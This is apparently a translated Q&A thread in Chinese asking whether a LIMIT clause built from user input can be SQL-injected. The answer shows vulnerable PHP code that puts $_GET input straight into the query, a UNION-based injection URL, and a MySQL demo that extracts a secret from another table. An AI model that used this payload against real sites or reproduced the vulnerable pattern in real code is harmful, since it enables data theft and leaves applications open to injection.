让我们假设我们有这个问题:
SELECT title FROM articles LIMIT 15
我们能够将任何字符串传递给LIMIT子句,但该站点不会输出错误,换句话说,当错误发生时,站点显示空白页。
我的问题是,攻击者仍然可以进行任何类型的SQL注入吗?也许基于时间注入procedure_analyse?
提前致谢。
答案 0 :(得分:0)
如果存在这样的SQL注入漏洞:
$UnsafeVariable = $_GET['param'];
$sql = "SELECT title FROM articles LIMIT $UnsafeVariable";
然后SQL注入的一个例子可能是::
http://mysite.example.com/page.php?param=0 UNION SELECT anything FROM anytable
使用UNION进行SQL注入很常见。我没有透露任何你在https://owasp.org这样的网站上看不到的内容。你应该尝试做一些阅读。
演示:
mysql> create table MyTable (id int primary key );
mysql> create table SecureTable (secret varchar(50));
mysql> insert into MyTable values (1), (2), (3);
mysql> insert into SecureTable values ('Alohomora');
mysql> select id from MyTable limit
/* now the part that is SQL injected */
1 union select secret from SecureTable;
+-----------+
| id |
+-----------+
| 1 |
| Alohomora |
+-----------+